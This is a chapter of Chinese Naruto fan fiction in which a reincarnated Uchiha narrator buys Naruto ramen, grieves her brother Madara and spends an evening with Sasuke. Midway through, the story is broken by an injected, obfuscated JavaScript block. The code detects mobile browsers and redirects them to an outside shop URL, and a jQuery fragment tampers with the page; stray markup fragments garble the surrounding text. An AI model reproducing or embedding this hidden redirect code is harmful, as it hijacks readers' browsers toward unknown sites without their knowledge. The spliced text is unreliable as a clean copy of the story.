我跳下高处,在村子里一边逛一边往家的方向走。
几个人找了一圈,没有发现我们,很快又追向另一条街,走过两条街以后,我察觉到身后有人跟着,是鸣人。
“出来吧。”我说。金色的脑袋从后面探出来。
鸣人脸上的油漆已经擦掉了,剩下的红色痕迹糊在脸颊和鼻尖上。他没有像刚才那样兴高采烈地冲过来,只站在原地看我。
“怎么了?”他不开口说话,我只好主动问他。
鸣人眼神飘到旁边:“我就是随便走走。”
孩子的假话很容易就被戳穿,我给他开口的机会:“是有事情吗,说吧,我听着呢。”
鸣人被我看的不好意思,慢吞吞地靠近,他走到离我两步远的地方便停下来,双手插在口袋里,鞋尖蹭了蹭地面。
他每次犹豫的时候都会这样,鞋尖蹭蹭地面。
“小夜。”
“嗯?”他也开始叫我小夜了,我没有纠正称呼,我自认为我对孩子的小心思都很包容。
“你是不是生气了?”鸣人越说越小声。
原来是为了这个,鸣人对别人的情绪很敏感,我想了下他的遭遇,他大概也不会懂除了喜欢和讨厌之外人会有中间状态。
“没有。”我倒不会为了这种事生气,也许是我对猿飞的情绪被鸣人感觉到了,他却本能地认为那和自己有关。
可怜呐,我感叹着。
“真的?”鸣人抬起头,他想确认我说的真的假的。
“真的。”
“那你刚才为什么不跟我一起跑?”他得到了我不生气的回答松了口气,开始孩子气的问我要答案,孩子总是想要答案的。
“因为在猿飞脸上画乌龟的人是你,不是我。而且我对这种游戏不感兴趣。”
“可那不是普通的乌龟!我画得很厉害的!”鸣人反驳我,他对自己的恶作剧水平很自满,夸完自己他又反问我,“那个那个,那小夜喜欢玩什么?”
“没有喜欢的游戏。”我告诉他我的答案。
“啊?”鸣人疑惑的歪歪脑袋,配上他脸上没擦干净的油漆痕迹,分外滑稽。
我刚想笑,就听见他肚子里忽然传来一阵很响的声音。
咕噜噜。
鸣人说话的声音戛然而止,他下意识按住肚子,装作什么都没有发生:“不是我。”
“这里没有别人。”好笨的孩子。
鸣人的脸迅速变红,大声嚷嚷:“也有可能是旁边的声音啊。”
我没有继续拆穿他,只问:“你怎么还没有吃饭?”
“我吃了啊。”鸣人捂着肚子说。
我叹气:“什么时候吃的?你吃了什么?”
他眨了眨眼睛,眼睛往上飘开始回忆:“早上……吃了面包……”
现在已经下午了,我更加无奈,没有人提醒他要按时吃饭,他一个孩子也不会照顾自己。
“走吧。”我捂住自己的额头,认命的说,“我请你吃东西。”
“真的?”鸣人高兴的说:“真的吗真的吗?小夜要请我吃东西吗?”
“嗯,你想吃什么?”
听到这句话的瞬间,鸣人脸上所有的尴尬都消失了:“拉面!我想吃拉面可以吗?”
“可以。”我带着他往拉面店走。
“可以加叉烧吗?”鸣人兴高采烈的跑到我身边,笑着得寸进尺的问。
“可以。”
“还要鸡蛋。”
“可以。”
鸣人又试探着问:“可以吃两碗吗?”
“……可以。”
刚掀开门帘,鸣人就熟门熟路地爬上座位,对着柜台里面大声嚷嚷:“大叔!大叔!今天小夜说要请我吃哦!”
老板从锅后面抬起头,脸上露出一点惊讶:“鸣人交到朋友了啊。”
鸣人嘴角扬得更高,他说得非常响亮:“当然!我和小夜是很好的朋友!”
我看了鸣人一眼,算了。小孩子都爱面子。
老板笑呵呵地招呼我坐下:“我记得你,上次你也来过,是和另一个年纪大一点的少年一起来的吧?”
他说的是止水。
“嗯。”
“那个孩子今天不来吗?”
“他啊……”我在鸣人旁边坐下,将购物袋放到脚边。
“死了。”
老板拿着汤勺的手停在半空:“这样啊……”
在忍者的村子里死亡并不罕见,老板沉默片刻,低声说:“抱歉,我不知道。”
“没关系。”我拿起菜单,“也不是很亲近的关系。”
鸣人转头看向我,他小声问:“是谁啊?”他刚才光顾着兴奋了,也没听我们在说什么。
“一个认识的人。”
“他是忍者吗?”
“嗯。”
鸣人张了张嘴,还想问什么,我把菜单推到他面前:“不是要吃拉面吗?”
处于饥饿状态的孩子注意力果然被拉了回来:“对!”
鸣人立刻朝老板嚷嚷:“大叔,我要味噌叉烧拉面!加鸡蛋,还要很多很多叉烧!”
老板重新笑起来:“知道了。”
“这位小姑娘呢?”
我随便点了一碗,老板将热腾腾的拉面放到我们面前,鸣人双手合十,大声说了一句“我开动了”,便埋头吃起来。
吃了几口以后,他又含含糊糊地说:“小夜,我们是朋友吧?”
“嗯。”我说。
鸣人嘿嘿笑了两声,又低下头呼噜呼噜地继续吃。
我看着他那毫无品相的吃相,心里也生不起什么厌恶的情绪,他是个可爱的孩子。
纵容这样一个孩子,给他片刻的快乐并不花费我什么功夫,猿飞……真是狠心啊。
我结账后就要回去,鸣人跟在我身后走出拉面店,犹豫了许久才慢吞吞地说:“那……再见,小夜。”
我告诉他:“明天去学校还会见面的。”
鸣人愣了一下,随即恍然大悟:“哦,对哦!”他的声音一下子又轻快起来。
“再见啊,小夜明天见!”他冲我挥挥手,我也对他挥手。
我回到点心店时,良子正和春菜一起清点当天剩下的点心。
点心店如今的生意很好,绢代留下来的手艺也足够撑起新的招牌,但是良子有新的野心:“我要把绢代的手艺传遍整个木叶。”春菜也跟着天不怕地不怕:“说不定以后还可以开到别的国家!”
她们两个斗志昂扬,已经开始商量第二间店要开在哪里。我算了好几天,把钱给她们算好。良子已经开始畅想点心店遍布全世界的样子。
这段时间我给自己做了一具新的身体,准确来说,还不能算完全做好,因为我需要更大的实验室。
倒也不是人体实验之类的,我新的身体是用水做的,算是一种影分身,等我研究好之后我就给自己换上。
现在这具身体我用得并不放心,我的身体是人为创造的,我想过我的复活是否是人为的,看面具男的反应我总觉得是他干的。
我始终想不明白他的目的,更让我在意的是,他似乎认识我哥。
因为我哥的声音,没有见过他的人怎么才能模仿他的声音?况且这声音比我知道的我哥更加的年长一些,我暗暗期待着也许当初我哥没有死。
他复活了,那他在哪里。
但我又觉得我哥最好当初还是不要复活了,不然这样的折磨挟持了他,他要怎么一个人度过漫漫长夜,夜晚的孩子更加知道夜晚的可怕之处。
我又觉得我哥死了,不然他为什么不来找我?他一定是死了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740101|205100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>我在想什么,他如果没死现在也是百岁老人,想了一下百岁老人的样子我就想笑,我想不出来我哥老了会是什么样子,我以为我们没有机会老去。
我哥如果成了老头,我应该也可以认出他来,我总有这样的自信。可就算认不出来,他也绝不会责备我。
我悄悄的打听过宇智波斑的坟墓在哪里,我对我哥死去的样子有些模糊了,我只记得他的头发打湿后湿乎乎的。头发本来就是没有生命的,我却觉得他的头发也和他一起死去了。
死去的头发缠绕着我如今的命运,好在我剪短了头发,看着镜子里的自己,我不停感慨我如今与他们已经没有多大相似之处。
街上闲聊的底层忍者喝了酒也会乱说话,说初代火影和宇智波的故事,在宇智波灭族之前他们也大声嚷嚷那曾经的过往。
“宇智波……当初宇智波的那个族长和初代火影……那一战……都是传说中的人物啊……”
我在旁边听他们讲有的没的混着假话的真实故事,这种时候我才会意识到他们的时间已经离我好远,这是我无论如何都回不去的地方,我已经无法再用宇智波斑妹妹的身份得到什么了,我疲惫不堪也不愿意得到什么。
一旁喝酒的忍者还在惊叹柱间的惊才绝艳:“初代火影究竟是什么人物……木叶如今……”
我想起柱间的模样,深知这一切都是扉间的手笔,他为柱间打造了一个更加完美的忍者之神的形象,我对木叶的建村神话啧啧两声。
木叶的忍者和柱间都是天然的同盟,他们大肆讲述木叶和柱间的优秀,却鲜少有人提起宇智波斑,毕竟他是叛徒,他的坟墓不在这里,我无处祭拜他,在家里放了几瓶好酒。
我对酒是一窍不通,好酒我品尝不出风味,只觉得苦口发涩,呛得人难受,咳到把肺部都吐出来才感觉好受。他们都说这是好酒我就买下来,我哥是怎么分得出酒的好坏的?我以前没好奇过,现在却开始好奇了。
我当初为什么不好奇呢,明明多问一句我哥就会告诉我的,我没问我哥喜欢什么样的酒,所以现在买酒只能听着店家胡乱吹嘘,什么香气什么年份,我听不明白,只能每种都买一瓶,拎着一堆瓶子回去。
我听说村外的终结谷刻下了我哥和柱间的石像,我想去看看,我好些年没有看见他了。
对着镜子我找不到他们的痕迹,我越发的不像他们了。
接下来的日子我又安分守己的过了许久,猿飞不可能对我放下警惕,我迟早要离开这里的。
佐助总是缠着我陪他训练,以前他这样的对象是鼬,现在是我,他在无意识中给自己寻找安慰。
我扯着佐助在良子家吃饭,然后陪佐助在宇智波族地训练,再回家去捣鼓自己的实验,我过得很充实,朝仓夜澄和宇智波夜澄都是我,我在两个身份之间来回摆荡接受了自己奇妙的身份。
我在等待面具男的再次出现,但他自从上次后就再也没有来过。
我觉得宇智波的风水一定有问题,不然怎么总是遇到这样的事情,算上我哥和鼬,宇智波已经出了三个坏蛋,再加上一个我,那就是四个危险人物。
究竟是被什么诅咒了才会这样。
睁开眼发现我在佐助家的廊下睡着了,灭族后的宇智波族地更加的安静,很适合睡觉。
夕阳让这里变得金黄,黄昏就是我要离开的信号,佐助看我醒来问我要回去了吗,我点头说,嗯,要走了。佐助送我到门口。
我把拖鞋放回鞋柜又看见我还给美琴的新拖鞋,上面还有价签。我走出门又回头看佐助,他靠在门边目送我走远。别扭的小孩用沉默代替挽留,但是这里不是可以留下的地方,这是佐助的家,不是我的。
他也知道,所以什么都没有说。
我们之间总是进行重复的告别,我朝他挥挥手。